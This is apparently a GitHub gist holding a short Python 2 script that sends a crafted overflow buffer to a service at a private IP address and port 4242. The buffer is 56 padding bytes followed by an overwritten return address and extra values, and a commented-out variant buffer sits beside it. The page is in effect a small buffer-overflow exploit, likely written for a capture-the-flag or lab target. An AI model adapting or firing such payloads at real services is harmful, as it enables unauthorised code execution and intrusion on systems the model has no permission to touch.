Skip to content

Instantly share code, notes, and snippets.

@isra17
Created April 9, 2013 14:56
Show Gist options
  • Save isra17/5346372 to your computer and use it in GitHub Desktop.
Save isra17/5346372 to your computer and use it in GitHub Desktop.
import socket
HOST = '10.6.8.205' # The remote host
PORT = 4242 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
buf = '\xAA' * 56 + '\x10\x11\x40\x00' + '\x00' * 4 + '\x00\x00\x02\xFF'
#buf = '\xAA' * 56 + '\x00\x40\x11\x10' + ''
s.sendall(buf)
data = s.recv(4092)
s.close()
print 'Received', repr(data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment